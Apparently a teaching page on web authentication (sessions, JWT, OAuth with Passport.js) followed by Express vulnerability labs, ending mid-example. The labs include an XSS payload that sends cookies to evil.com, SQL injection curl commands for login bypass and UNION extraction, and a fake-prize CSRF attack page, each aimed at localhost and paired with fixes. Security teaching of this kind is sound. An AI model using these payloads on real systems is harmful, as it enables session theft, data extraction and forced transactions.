Before diving into authentication strategies, you must understand a fundamental limitation of HTTP that shapes how we build web applications.
HTTP is stateless. This means that each HTTP request is completely independent and isolated. The server doesn't remember anything about previous requests. If a user logs in and then makes another request immediately after, the server has no idea who that user is on the second request.
β οΈ
The Stateless Problem
No memory: Each request is brand new - the server remembers nothing from previous requests.
No context: User identity, preferences, shopping cart, login status - all gone between requests.
No persistence: Without a mechanism to maintain state, every interaction would require re-authentication.
So how do we solve this? How can we build applications where users log in once and stay logged in? How do we maintain shopping carts, user preferences, and session data across multiple requests?
π‘ The answer: we need mechanisms to identify and remember users across multiple HTTP requests. The following sections explain the main approaches.
π Solutions: Authentication Strategies
To address the stateless nature of HTTP, we use authentication mechanisms that allow the server to identify users across requests. The most common strategies are sessions (cookies + server state), JWT (self-contained tokens), and thirdβparty identity providers (OAuth 2.0 / OpenID Connect).
πͺ
Sessions
Server keeps a session; client stores only an ID cookie.
JWT
Self-contained token signed by the server; stateless.
π
ThirdβParty
Login with Google, GitHub, etc. via OAuth/OIDC.
π‘
When to use what?
πͺ Sessions
Best for: Traditional web apps, server-side rendering (SSR), dashboards, admin panels.
β Advantages: Easy to revoke (logout), small cookie size, server controls all data, can store any data type.
β οΈ Challenges: Requires shared session store (Redis, database) for multiple servers, memory overhead, horizontal scaling complexity, sticky sessions may be needed.
π« JWT (JSON Web Tokens)
Best for: REST APIs, microservices, mobile apps, SPAs (Single-Page Applications), distributed systems.
β Advantages: Stateless (no server storage), easy horizontal scaling, works across domains (CORS-friendly), contains user data (claims), perfect for microservices.
β οΈ Challenges: Larger size (sent with every request), can't revoke before expiry without blacklist, token refresh complexity, XSS vulnerabilities if stored in localStorage, must handle token expiration.
π Third-Party Providers (OAuth/OIDC)
Best for: Consumer-facing apps, social features, quick onboarding, mobile apps, reducing security burden.
β Advantages: No password management, better UX (one-click login), reduced security liability, trusted identity verification, access to user profile data.
β οΈ Challenges: Dependency on third-party availability, OAuth flow complexity, requires external provider account, privacy concerns, rate limits from providers.
π‘ Pro Tip: Many production apps use hybrid approaches β e.g., sessions for web dashboard + JWT for mobile API, or sessions with Redis cluster for scalability. Choose based on your architecture and scaling needs.
πͺ Session-based Authentication
Sessions solve the stateless problem by storing user data on the server and sending a small session ID cookie to the client. The browser automatically includes this cookie in every request.
πͺ What is a Cookie?
A cookie is a small piece of data that the server sends to the browser via the Set-Cookie HTTP header. The browser automatically stores it and sends it back with every subsequent request to the same domain. This automatic mechanism is what makes sessions work!
Think of it as a pact between server and browser: the server says "remember this ID", and the browser faithfully includes it in every future request. No JavaScript needed - it's all automatic!
π‘
How Sessions Work
Server creates session: After login, server generates unique session ID and stores user data.
Cookie sent: Server sends session ID to browser via Set-Cookie header.
Automatic inclusion: Browser includes the cookie in every request automatically.
Server recognizes user: Server reads session ID from cookie and retrieves user data.
π Session Flow - Visual Demonstration
Here's how the session mechanism works step by step:
Initial State
User wants to login. No session cookie exists yet.
πͺReal Example: Visit Counter with Cookies
Let's see how cookies work in practice with a simple visit counter. The server sends a cookie, and the browser automatically includes it in future requests:
π Basic Example (Manual Cookie Handling):This shows the raw HTTP mechanism. You manually parse and set cookies.
const express =require('express');
const app =express();
app.get('/', (req, res) => {
// Read the visit count from the cookie (browser auto-sends it)let visits =parseInt(req.headers.cookie?.split('visits=')[1]) ||0;
visits++;
// Server CHOOSES to send a cookie with the updated count
res.setHeader('Set-Cookie', `visits=${visits}; Max-Age=86400; HttpOnly`);
res.send(`
<h1>Welcome! Visit #${visits}</h1>
<p>Cookie: visits=${visits}</p>
<p>Refresh the page - the browser will auto-send this cookie!</p>
`);
});
app.listen(3000, () =>console.log('Server on http://localhost:3000'));
πBetter Way: Using cookie-parser
The cookie-parser middleware makes reading and setting cookies much cleaner. It automatically parses cookies into an object.
Signed cookies: Built-in support for cryptographically signed cookies for tamper detection.
π
How It Works
1οΈβ£ First visit:No cookie exists. Server responds with Set-Cookie: visits=1. Browser stores it automatically.
2οΈβ£ Second visit:Browser automatically includes Cookie: visits=1 in the request header. Server reads it, increments to 2, sends Set-Cookie: visits=2.
3οΈβ£ Every request:Browser keeps auto-sending the cookie. Server can choose to update it or not.
β¨ No JavaScript needed:The entire cookie mechanism is built into HTTP. Browsers handle it automatically!
β‘
Key Cookie Attributes
HttpOnlyCookie cannot be accessed by JavaScript (prevents XSS attacks).
SecureCookie only sent over HTTPS (prevents man-in-the-middle).
Max-AgeCookie lifetime in seconds. Without it, cookie expires when browser closes.
π¨ Critical warning: stolen cookie = stolen identityIf someone steals your session cookie value and adds it into their own browser, the server will treat them as you until the session expires or is revoked. Cookies are credentials.
π§ͺ
Quick demo test (safe): copy a cookie to βbecome the same userβ
Use the visit counter cookie example above to see the idea in action:
π§How to view/copy cookies in DevTools:
Chrome/Edge: F12 β Application tab β Cookies (left sidebar) β select your domain β see cookie name/value. Right-click to copy or edit.
Firefox: F12 β Storage tab β Cookies β select your domain β see all cookies with names and values.
Quick console command: type document.cookie in the Console tab to see all cookies (except HttpOnly ones).
Browser A: open the page and refresh a few times (counter increases).
Browser B / Incognito: open the same page β the counter starts βfreshβ because there is no cookie yet.
Copy the cookie value: take visits from Browser A and set the same cookie in Browser B.
Refresh in Browser B: the counter continues because the server thinks itβs the same βcookie identityβ.
Same principle with authentication: if you copy a real session cookie like sid, you can impersonate the user.
Where youβll commonly see cookies / sessions / tokens used, without going into implementation details:
Logged-in areas: keep a user authenticated across page loads (dashboard, admin, back office).
Multi-step flows: store temporary state for a wizard (checkout, onboarding, forms).
Shopping carts: remember cart contents before account creation or between visits.
Personalization: save preferences like language, theme, or layout.
Security protections: CSRF tokens, device trust flags, βremember this deviceβ.
API access: stateless tokens (e.g., JWT) for mobile apps or distributed services.
π Detailed use case: authentication with sessions (cookie + server state)
Scenario: a web app where users log in once, then the browser automatically sends a secure cookie on every request. The server uses that cookie to look up the user session.
π§
Request flow (step-by-step)
POST /login: user submits credentials. Server verifies them and creates a new session record.
Set-Cookie: server sends a session identifier cookie (e.g., sid) with HttpOnly, Secure, SameSite, and an expiration.
GET /profile: browser auto-sends Cookie: sid=.... Server reads it and loads the session to identify the user.
Session expiry: once expired (or deleted), the server treats the user as logged out and requires login again.
POST /logout: server deletes the session and clears the cookie.
π Note:This is a simplified teaching example using an in-memory session store. In production you typically use a shared store (Redis/DB) so multiple servers can validate the same sessions.
JSON Web Tokens are signed tokens containing claims. The server verifies the signature without storing session state, which makes JWT ideal for APIs and distributed systems.
JSON Web Tokens: Self-Contained Authentication
Unlike sessions, JWT doesn't require server-side storage. The token itself contains all the information needed to identify and authorize a user. Think of it as a digitally-signed passport that proves your identity without needing to check a central database.
π―Perfect for
APIs, mobile apps, microservices, and distributed systems where centralized session storage would be a bottleneck.
π JWT as a βPassportβ (Analogy)
Think of a JWT like a passport you show at every border crossing. A passport is self-contained: it already includes identity information (name, nationality, date of birth) so the border agent can make a decision without calling your home country for every crossing.
The cryptographic signature on a JWT is like the passportβs official security features (stamps, holograms, machineβreadable zone): it doesnβt hide the information, but it lets the agent verify that the document was issued by a trusted authority and that the content wasnβt tampered with.
β οΈ
Important difference vs a passport
If someone steals your JWT, they can use it until it expires (just like a stolen passport can be abused).
A JWT is not encrypted by default: anyone who holds the token can read its payload. Donβt put secrets in it.
A JWT is typically a JWS (JSON Web Signature): three Base64URL-encoded parts separated by dots:
header.payload.signature.
π
The 3 parts
Header: metadata like the algorithm (alg) and token type (typ).
Payload: the claims (data) such as user ID, roles, expiration.
Signature: proves integrity + authenticity (the payload canβt be modified without detection).
π·οΈ Claims: the data JWT can store
The payload can store information called claims. Some are standardized (registered claims), and you can also add custom claims.
π§Ύ
Common registered claims
sub (subject): usually the user ID.
exp (expiry): when the token stops being valid.
iat (issued at) and nbf (not before): time bounds.
iss (issuer) and aud (audience): who issued it and who itβs for.
jti (JWT ID): unique identifier (useful for revocation/rotation lists).
π Signature & cryptography (the core security)
The server creates the signature by taking Base64URL(header) + "." + Base64URL(payload), then signing that bytestring with a secret (symmetric) or a private key (asymmetric). When the server receives the token, it recomputes/verifies the signature. If the payload was changed, verification fails.
π§
Typical algorithms
HS256: HMAC + SHAβ256 (one shared secret used to sign and verify).
RS256: RSA + SHAβ256 (private key signs; public key verifies β great for microservices).
ES256: ECDSA + SHAβ256 (smaller keys/signatures, common in modern systems).
π§¨
Signing β encryption
A signed JWT (JWS) protects against tampering, but does not hide the payload. If you need confidentiality, youβre talking about JWE (encrypted JWT) or simply not putting sensitive data in the token.
β What to store (and what NOT to store)
β Good candidates (keep it minimal)
User identifier:sub (e.g., user ID).
Authorization hints: roles/scopes (only if your model can tolerate them being βstaleβ until expiry).
Safety metadata:iss, aud, exp, and optionally jti.
βNever put this in a JWT payload
Secrets: passwords, API keys, refresh tokens, private data you donβt want exposed.
Big blobs: profile objects, permissions lists that make tokens huge.
π§―Common JWT pitfalls (real-world)
Over-trusting the payload: always verify the signature first; never βdecode and trustβ.
Long-lived access tokens: increase the blast radius if stolen.
Not validating issuer/audience: tokens from another environment/app might be accepted.
Storing tokens in localStorage: XSS can steal them. Prefer in-memory or HttpOnly cookies depending on your architecture.
Algorithm/key confusion: lock down allowed algorithms and manage key rotation carefully.
π Decode a JWT (read its content)
Paste a JWT string below to decode its header and payload. This is useful to understand whatβs inside a token.
π Optional: if provided and alg=HS256, the decoder can re-sign the token after edits and verify signatures. Donβt paste production secrets.
π§ Note: decoding shows the data, but it does not verify the signature. If you edit the header/payload, the signature becomes invalid.
Header
Payload
βοΈ Building JWT Authentication: Step-by-Step
Let's build a complete JWT authentication system from scratch. We'll go step-by-step, explaining each component before implementing it.
1
Install Required Packages
We need four packages: express for the server, jsonwebtoken to create and verify tokens, bcrypt for password hashing, and dotenv to manage secrets securely.
# Install packages
npm install express jsonwebtoken dotenv bcrypt cors
2
Understand Password Hashing (Critical Security)
Before writing any authentication code, we must understand why and how to store passwords securely. This is the foundation of user security.
π§
Password hashing (bcrypt) and why salt matters
β
Never store passwords in plain text. Also avoid fast hashes like SHA-256 for passwords.
Password hashing must be slow to resist brute force.
What is bcrypt?
bcrypt is a password-hashing function designed for passwords. It automatically uses a unique salt per password.
Salt means two users with the same password still get different hashes (defeats rainbow tables and prevents βsame passwordβ leaks).
How does salt work?
You do not store the salt separately: bcrypt encodes the algorithm + cost + salt inside the hash string.
When you call bcrypt.compare(password, storedHash), bcrypt reads the salt/cost from storedHash and verifies correctly.
π‘Example: Same password β Different hashes
// await bcrypt.hash('password123', 12) -> $2b$12$...A...// await bcrypt.hash('password123', 12) -> $2b$12$...B... (different because salt differs)
βοΈ
Cost (salt rounds): higher = slower (more secure, but more CPU).
For demos 10 is common; in production, choose based on your infra (often 12β14).
3
Create the Authentication Server
Now let's put it all together. This server includes: user login with password verification, access token generation (short-lived), refresh token generation (long-lived), protected route middleware, and token refresh endpoint.
π What this code does:
Lines 1-7: Setup and imports
Lines 9-11: Mock user database with hashed password
Now that you have a working implementation, let's reinforce the security practices that make the difference between a vulnerable system and a production-ready one.
β±οΈ
1. Keep access tokens short-lived
Why: If an access token is stolen, a short expiration time limits how long an attacker can use it. Typical access token lifetimes: 5-15 minutes.
Use refresh tokens: Long-lived refresh tokens (7-30 days) allow users to get new access tokens without re-authenticating. Store refresh tokens more securely than access tokens (e.g., HttpOnly cookies or encrypted database).
β οΈ Avoid localStorage: Any JavaScript (including malicious scripts from XSS attacks) can read localStorage. This makes it vulnerable to token theft.
β
Better options:
In-memory (SPA): Store tokens in JavaScript variables. They disappear on page refresh (use refresh token to get a new one). Protected from XSS if refresh token is in HttpOnly cookie.
HttpOnly cookies: Server sets cookies that JavaScript cannot access. Best for traditional web apps. Protects against XSS but requires CSRF protection.
Secure + SameSite cookies: Add Secure (HTTPS only) and SameSite=Strict or Lax for additional protection.
π
3. Rotate refresh tokens & support revocation
Rotation: Issue a new refresh token each time it's used, and invalidate the old one. This limits the window of vulnerability if a refresh token is compromised.
Revocation: Keep a server-side list (Redis, database) of revoked tokens or user sessions. Check this list when verifying tokens. This allows you to immediately revoke access if needed (logout, suspicious activity, password change).
// Example: Token revocation listconst revokedTokens =newSet(); // In production: use RedisfunctionisTokenRevoked(jti) {
return revokedTokens.has(jti);
}
// When user logs out or security event occursfunctionrevokeToken(jti) {
revokedTokens.add(jti);
}
// In your auth middlewarefunctionrequireAuth(req, res, next) {
const token =extractToken(req);
const decoded = jwt.verify(token, SECRET);
if (isTokenRevoked(decoded.jti)) {
return res.status(401).json({ error: 'Token revoked' });
}
req.user= decoded;
next();
}
π¨Additional Security Tips
Validate all claims: Always verify iss (issuer), aud (audience), and exp (expiration) to prevent token misuse across environments.
Use strong secrets: JWT secrets should be long (at least 256 bits), random, and stored in environment variablesβnever hardcoded.
Limit allowed algorithms: Explicitly specify which algorithms are allowed (e.g., algorithms: ['HS256']) to prevent algorithm confusion attacks.
Use HTTPS everywhere: JWTs transmitted over HTTP can be intercepted. Always use TLS/SSL in production.
Monitor for suspicious activity: Track failed login attempts, token refresh patterns, and unusual access patterns.
π Third-Party Authentication (OAuth 2.0)
Instead of managing passwords yourself, delegate authentication to trusted providers like Google, GitHub, or Microsoft. Users click "Login with Google" and you receive verified identity information without ever seeing their password.
πWhy Use Third-Party Authentication?
π
No Passwords to Manage
You never store or handle user passwords. The provider handles authentication security, including 2FA, breach detection, and password policies.
β‘
Better User Experience
One-click login with accounts users already have. No new password to remember, no email verification needed.
β
Verified Identity
Google/GitHub have already verified the user's email. You get trusted identity data without extra verification steps.
π‘οΈ
Reduced Security Liability
If there's a breach, you don't have password hashes to worry about. The attack surface is significantly smaller.
π Key Terminology
Before diving into the flow, let's clarify the actors and terms you'll encounter:
π
OAuth 2.0 / OpenID Connect Terms
Resource Owner: The user who owns the data and grants access.
Client: Your application that wants to access user data.
Authorization Server: The provider (Google, GitHub) that authenticates the user and issues tokens.
Resource Server: The API that holds the user's data (often same as auth server for identity).
Authorization Code: A temporary code exchanged for tokens (never exposed to browser).
Access Token: Short-lived token to access APIs on behalf of the user.
ID Token: (OpenID Connect) A JWT containing user identity claims.
OAuth 2.0 is about authorization β granting access to resources ("Can this app read my files?").
OpenID Connect (OIDC) is built on top of OAuth 2.0 and adds authentication β proving identity ("Who is this user?").
When you "Login with Google," you're using OpenID Connect. It returns an id_token (JWT) with user info.
π The Authorization Code Flow (Visual)
This is the most secure OAuth flow for web applications. The authorization code is exchanged server-side, keeping tokens away from the browser.
Step 0
Initial State
User wants to login. Click "Play" or "Next Step" to see the OAuth flow.
π
Why Authorization Code Flow is Secure
Code exchanged server-side: The authorization code is exchanged for tokens on your server, never exposed to the browser.
Client secret kept private: Your client secret never leaves your server, preventing impersonation.
Short-lived code: The authorization code expires quickly (usually 10 minutes) and can only be used once.
βοΈ Building OAuth with Passport.js: Step-by-Step
Let's implement Google OAuth login using Passport.js, the most popular authentication middleware for Node.js. We'll handle the entire flow from "Login with Google" button to authenticated session.
1
Create Google OAuth Credentials
Before writing any code, you need to register your app with Google and get credentials.
require('dotenv').config();
const express =require('express');
const session =require('express-session');
const passport =require('passport');
const GoogleStrategy =require('passport-google-oauth20').Strategy;
const app =express();
// Session setup (required for Passport)
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: process.env.NODE_ENV==='production', // HTTPS only in prodmaxAge: 24*60*60*1000// 24 hours
}
}));
// Initialize Passport
app.use(passport.initialize());
app.use(passport.session());
// Configure Google Strategy
passport.use(newGoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: `${process.env.BASE_URL}/auth/google/callback`
},
// This function is called after successful authenticationfunction(accessToken, refreshToken, profile, done) {
// In production: find or create user in your database// For demo: just use the Google profile directlyconst user = {
id: profile.id,
email: profile.emails?.[0]?.value,
name: profile.displayName,
avatar: profile.photos?.[0]?.value
};
returndone(null, user);
}
));
// Serialize user to session (what to store)
passport.serializeUser((user, done) => {
done(null, user); // Store entire user object (or just ID in production)
});
// Deserialize user from session (how to retrieve)
passport.deserializeUser((user, done) => {
done(null, user); // In production: fetch user from DB by ID
});
// ===== ROUTES =====// Start OAuth flow - redirects user to Google
app.get('/auth/google',
passport.authenticate('google', {
scope: ['profile', 'email'] // What data we want
})
);
// Google redirects here after user authenticates
app.get('/auth/google/callback',
passport.authenticate('google', {
failureRedirect: '/login-failed',
successRedirect: '/profile'
})
);
// Logout
app.get('/logout', (req, res) => {
req.logout((err) => {
if (err) return res.status(500).json({ error: 'Logout failed' });
res.redirect('/');
});
});
// Middleware to check if user is authenticatedfunctionrequireAuth(req, res, next) {
if (req.isAuthenticated()) returnnext();
res.redirect('/');
}
// Protected route - only accessible when logged in
app.get('/profile', requireAuth, (req, res) => {
res.send(`
<h1>Welcome, ${req.user.name}!</h1>
<img src="${req.user.avatar}" width="100" style="border-radius:50%">
<p>Email: ${req.user.email}</p>
<p>Google ID: ${req.user.id}</p>
<a href="/logout">Logout</a>
`);
});
// Home page with login button
app.get('/', (req, res) => {
if (req.isAuthenticated()) {
res.redirect('/profile');
} else {
res.send(`
<h1>Welcome!</h1>
<a href="/auth/google" style="...">Login with Google</a>
`);
}
});
app.get('/login-failed', (req, res) => {
res.send('<h1>Login Failed</h1><a href="/">Try Again</a>');
});
app.listen(3000, () =>console.log('Server on http://localhost:3000'));
5
How It Works (Code Walkthrough)
1User clicks "Login with Google"
Browser navigates to /auth/google. Passport redirects to Google's authorization page with your client ID, redirect URI, and requested scopes.
2User authenticates with Google
Google shows a consent screen asking the user to grant your app access to their profile and email. The user clicks "Allow".
3Google redirects to callback
Google redirects to /auth/google/callback?code=ABC123. The authorization code is in the URL.
4Passport exchanges code for tokens
Passport makes a server-side request to Google with the code + your client secret. Google returns access token + ID token.
5Your callback function runs
The strategy callback receives the tokens and profile. You create/find the user and pass to done().
6Session created, user logged in
serializeUser stores the user in the session. User is redirected to /profile with a session cookie.
π¨OAuth Security Best Practices
Use the state parameter: Pass a random value in the auth request and verify it in the callback to prevent CSRF attacks. Passport handles this automatically.
Validate the ID token: If using the ID token directly, verify its signature and claims (issuer, audience, expiry).
Use PKCE for public clients: For SPAs or mobile apps without a secret, use Proof Key for Code Exchange (PKCE).
Limit scopes: Only request the permissions you need. Asking for too much reduces trust.
Store tokens securely: If you need the access token later, encrypt it in your database. Never expose it to the client.
β οΈWhen OAuth May Not Be the Best Fit
Internal enterprise apps: If users are all employees, use your company's identity provider (LDAP, Active Directory) directly.
Offline-first applications: OAuth requires internet access to authenticate. For offline apps, consider local auth with sync.
B2B with existing accounts: If business clients already have credentials in your system, adding OAuth may confuse them.
Privacy-sensitive apps: Some users don't want to link their Google/social accounts to certain types of apps.
Provider dependency: If Google/GitHub goes down, your users can't log in. Consider offering email/password as a fallback.
π§
Common Issues & Fixes
"redirect_uri_mismatch" error: The callback URL in your code must exactly match what you registered in Google Console (including http vs https, port, and trailing slashes).
"Failed to serialize user": Make sure serializeUser and deserializeUser are defined before any routes.
Session not persisting: Check that express-session is configured before passport.session() middleware.
User is undefined after login: Ensure your callback function passes the user to done(null, user), not just the profile.
Works locally but not in production: Set cookie.secure: true and ensure you're using HTTPS. Also check trust proxy if behind a reverse proxy.
π Going to Production
Our demo stored the user object directly in the session. For production, you'll want to:
1Store users in a database
Create a users table with id, googleId, email, name, createdAt. On login, find by googleId or create if new.
2Serialize only the user ID
In serializeUser, store just user.id. In deserializeUser, fetch the full user from your database. This keeps sessions small.
3Use a session store
Replace the default in-memory store with Redis (connect-redis) or your database (connect-pg-simple). Memory store doesn't scale!
4Support multiple providers
Add columns like githubId, microsoftId. Users can link multiple providers to one account. Match by email to link existing accounts.
πHow OAuth Connects to Sessions & JWT
OAuth + Sessions (what we built): After OAuth authenticates the user, we use a traditional session cookie to keep them logged in. This is the most common approach for web apps.
OAuth + JWT: Instead of sessions, you could issue your own JWT after OAuth. Useful for stateless APIs or when you need the token on multiple servers.
Key insight: OAuth only handles the initial authentication ("Who is this?"). After that, you still need sessions or JWT to remember the user across requests!
π
Other Popular Providers
The same pattern works with other providers using different Passport strategies:
passport-github2 β GitHub OAuth
passport-microsoft β Microsoft/Azure AD
passport-facebook β Facebook Login
passport-twitter β Twitter OAuth
passport-apple β Sign in with Apple
βοΈ Sessions vs JWT vs OAuth: When to Use Which?
Now that we've covered all three authentication approaches, let's put them side by side. Understanding when to use each method is crucial for building secure, scalable applications.
πͺ
Sessions
Server remembers you
β Great web UX; browsers handle cookies automatically.
β HttpOnly cookies reduce XSS token theft risk.
β Easy instant logout (just delete session).
β οΈ Scaling needs a shared session store.
β οΈ Cookies don't work well on mobile apps.
JWT
Token carries your identity
β Ideal for APIs, mobile apps, microservices.
β Stateless verification; no DB lookup per request.
β Scales horizontally without shared state.
β οΈ Revocation requires extra infrastructure.
β οΈ Token storage decisions are on you.
π
OAuth 2.0
Someone else verifies identity
β Users trust Google/GitHub more than new apps.
β No password storage liability for you.
β One-click signup improves conversion.
β οΈ Dependent on third-party availability.
β οΈ More complex setup and token handling.
π§
Quick Decision Guide
βDo you need to access third-party APIs on behalf of users?
βYes: Use OAuth 2.0 (e.g., read user's Google Calendar, post to their Twitter)
βNo: Continue below β
βDo you want social login (Login with Google/GitHub)?
βYes: Use OAuth 2.0 for authentication, then create a session or JWT for your app
βNo: Continue below β
βWhat kind of client will consume your API?
βBrowser-only (SSR, monolith):Sessions with HttpOnly cookies
βMobile app or SPA + API:JWT (stateless, works without cookies)
βBoth web and mobile/API:Hybrid (see below)
π―Practical Recommendations
SSR dashboards, admin panels, monolithsβSessions
SPA + REST API, React Native, microservicesβJWT
Consumer apps wanting easy signupβOAuth + Sessions or JWT
Web app + mobile app + public APIβHybrid: sessions for web, JWT for mobile/API
π
Common Combinations (They Work Together!)
These methods aren't mutually exclusive. In real-world apps, you often combine them:
OAuthβSession
User logs in with Google, you create a server session. Best for traditional web apps.
OAuthβJWT
User logs in with GitHub, you issue your own JWT. Best for SPAs and mobile apps.
Session+JWT
Sessions for your web dashboard, JWTs for your public API. Many SaaS apps do this.
π‘Key Takeaway
OAuth answers "WHO can vouch for you" (Google, GitHub, etc.) Sessions/JWT answer "HOW does the server remember you" after login
After OAuth login, you still need to track the userβthat's where sessions or JWTs come in. Choose based on your architecture, not hype!
π‘οΈ Web Vulnerabilities & How to Defend in Express
Authentication is just one piece of the security puzzle. As future cybersecurity professionals, you need to understand the common attack vectors that target web applications and how to defend against them in Node.js/Express.
β οΈ
Golden Rule #1: Never Trust the Client
This is the most important principle in web security. Everything that comes from the clientβform data, headers, cookies, URL parameters, JSON payloadsβcan be manipulated by an attacker.
βCommon Mistake
Developers add validation in JavaScript on the frontend (e.g., "password must be 8+ characters") and assume that's enough.
Problem: An attacker can disable JavaScript, use browser DevTools, or send requests directly with curl or Postmanβcompletely bypassing your frontend.
β Correct Approach
Client-side validation is for UX only (instant feedback). The real validation happens on the serverβalways.
Rule: If it's not validated server-side, it's not validated at all.
const express =require('express');
const { body, param, validationResult } =require('express-validator');
const app =express();
app.use(express.json());
// β WRONG: Trusting client data directly
app.post('/register-unsafe', (req, res) => {
const { email, password, role } = req.body;
// Attacker can send { role: "admin" } and become admin!createUser(email, password, role);
});
// β CORRECT: Validate and sanitize everything
app.post('/register', [
body('email')
.isEmail().withMessage('Invalid email')
.normalizeEmail(),
body('password')
.isLength({ min: 8 }).withMessage('Password must be 8+ characters')
.matches(/[A-Z]/).withMessage('Must contain uppercase')
.matches(/[0-9]/).withMessage('Must contain number'),
body('name')
.trim()
.escape() // Prevents XSS
.isLength({ min: 2, max: 50 })
], (req, res) => {
const errors =validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Only extract fields you expect (ignore "role" even if sent)const { email, password, name } = req.body;
createUser(email, password, name, 'user'); // Role is always 'user'
res.json({ ok: true });
});
π
OWASP Top 10 Web Vulnerabilities
The most critical security risks for web applications
The OWASP (Open Web Application Security Project) maintains a list of the top 10 most critical web application security risks. As cybersecurity students, you should know these by heart. Let's cover the most relevant ones for Express.js applications.
HIGH
Cross-Site Scripting (XSS)
What is it?
Attacker injects malicious JavaScript that executes in victims' browsers. Can steal cookies, session tokens, or perform actions as the user.
π― Attack Example
// User submits this as their "name":<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>// If you render it without escaping:
res.send(`Welcome, ${user.name}!`); // π Script executes!
π§ͺDeep Dive: Simulate XSS AttackHands-on Lab
β οΈ
Educational purposes only! Only test on your own local server. Never attempt these on real websites.
Open a new terminal and try these attacks with curl:
Bypass Login (Authentication Bypass)
# Login without knowing the password!
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"email": "admin@example.com", "password": "' OR '1'='1"}'
The query becomes: WHERE email = 'admin@example.com' AND password = '' OR '1'='1'. Since 1=1 is always true, it logs you in!
Extract All Users
# Get all users from the search endpoint
curl "http://localhost:3000/search?email=' OR '1'='1"
UNION Attack (Extract Other Tables!)
# Steal data from the "secrets" table!
curl "http://localhost:3000/search?email=' UNION SELECT id, content, 'hacked' FROM secrets--"
This combines results from the secrets table with the user search. You'll see confidential data!
Comment Injection
# Login as admin without ANY password check
curl -X POST http://localhost:3000/login \
-H "Content-Type: application/json" \
-d '{"email": "admin@example.com'--", "password": "anything"}'
The -- comments out the rest of the query, including the password check!
4
Watch the server logs
Look at your server terminal to see the actual SQL queries being executed. You'll see exactly how the injection works!
β
Now fix it with parameterized queries!
// β SAFE: Use parameterized queries
app.post('/login', (req, res) => {
const { email, password } = req.body;
// Parameters are safely escaped - injection impossible!const stmt = db.prepare('SELECT * FROM users WHERE email = ? AND password = ?');
const user = stmt.get(email, password);
if (user) {
res.json({ success: true, user });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
Now try the same attacksβthey won't work! The ? placeholders ensure input is treated as data, never as SQL code.
π‘οΈ Defense in Express
1
Use parameterized queries β Never concatenate user input into SQL
2
Use an ORM β Prisma, Sequelize, TypeORM handle escaping for you
3
Validate input types β Ensure numbers are numbers, emails are emails
// β SAFE: Parameterized query (mysql2 example)const [rows] =await db.execute(
'SELECT * FROM users WHERE email = ?',
[req.body.email]
);
// β SAFE: Using Prisma ORMconst user =await prisma.user.findUnique({
where: { email: req.body.email }
});
// β SAFE: MongoDB with Mongooseconst user =await User.findOne({ email: req.body.email });
HIGH
Cross-Site Request Forgery (CSRF)
What is it?
Attacker tricks a logged-in user into making unwanted requests. If you're logged into your bank and visit a malicious site, it could transfer money using your session.
π― Attack Example
<!-- Malicious site embeds this image --><img src="https://bank.com/transfer?to=attacker&amount=10000" /><!-- Or a hidden form that auto-submits --><form action="https://bank.com/transfer" method="POST" id="evil">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('evil').submit();</script>
π§ͺDeep Dive: Simulate CSRF AttackHands-on Lab
β οΈ
Educational purposes only! This demonstrates how CSRF works using two local servers.
// evil-site.js - Attacker's websiteconst express =require('express');
const app =express();
app.get('/', (req, res) => {
res.send(`
<h1>π You won a FREE iPhone! π</h1>
<p>Click the button to claim your prize!</p>
<button onclick="document.getElementById('csrf').submit()">
Claim Prize!
</button>
<!-- Hidden form that attacks the bank -->
<form id="csrf" action="http://localhost:3000/transfer" method="POST" style="display:none">
<input name="to" value="hacker@evil.com" />
<input name="amount" value="5000" />
</form>
<p style="color: #666; font-size: 12px;">
(This page secretly submits a form to the bank!)
</p>
`);
});
app.listen(4000, () =>console.log('Evil site: http://localhost:4000'));
3
Run both servers
# Terminal 1: Run the bank
npm install express cookie-parser
node bank-vulnerable.js
# Terminal 2: Run the evil site
node evil-site.js
4
Execute the attack
Open http://localhost:3000 and login as Alice
Note your balance: $10,000
While still logged in, open http://localhost:4000 in another tab
Click "Claim Prize!"
Go back to the bank tab and refresh
π Your balance is now $5,000! The attacker stole $5,000!
β
Fix with SameSite cookies
// β SAFE: Add SameSite to the cookie
app.post('/login', (req, res) => {
res.cookie('session', 'logged-in', {
httpOnly: true,
sameSite: 'strict'// Cookie won't be sent from evil site!
});
res.redirect('/');
});
With SameSite: 'strict', the browser won't include the cookie when the request comes from a different site. The attack fails!
π‘οΈ Defense in Express
1
CSRF tokens β Unique token per session/request that attacker can't guess
2
SameSite cookies β SameSite=Strict or Lax prevents cross-site cookie sending
3
Check Origin/Referer β Verify requests come from your domain
const csrf =require('csurf');
const cookieParser =require('cookie-parser');
app.use(cookieParser());
app.use(csrf({ cookie: true }));
// Include token in forms
app.get('/form', (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
// In your HTML form:// <input type="hidden" name="_csrf" value="<%= csrfToken %>" />// For SPAs: Use SameSite cookies instead
res.cookie('session', token, {
httpOnly: true,
secure: true,
sameSite: 'strict'// Blocks cross-site requests
});
HIGH
Insecure Direct Object Reference (IDOR)
What is it?
Application exposes internal object IDs (user ID, order ID) without checking if the current user has permission to access them. Attacker just changes the ID in the URL.
π― Attack Example
// User sees their profile at:GET /api/users/42/profile// Attacker changes 42 to 43:GET /api/users/43/profile// π Sees someone else's data!// Or with invoice downloads:GET /invoices/INV-2024-001.pdfGET /invoices/INV-2024-002.pdf// π Another company's invoice!
π§ͺDeep Dive: Simulate IDOR AttackHands-on Lab
β οΈ
Educational purposes only! IDOR is one of the most common bugs found in bug bounty programs.
1
Create a vulnerable API
Create idor-vulnerable.js:
// idor-vulnerable.js - VULNERABLE API (for learning only!)const express =require('express');
const app =express();
app.use(express.json());
// Simulated databaseconst users = [
{ id: 1, name: 'Alice', email: 'alice@company.com', salary: 75000, ssn: '123-45-6789' },
{ id: 2, name: 'Bob', email: 'bob@company.com', salary: 85000, ssn: '987-65-4321' },
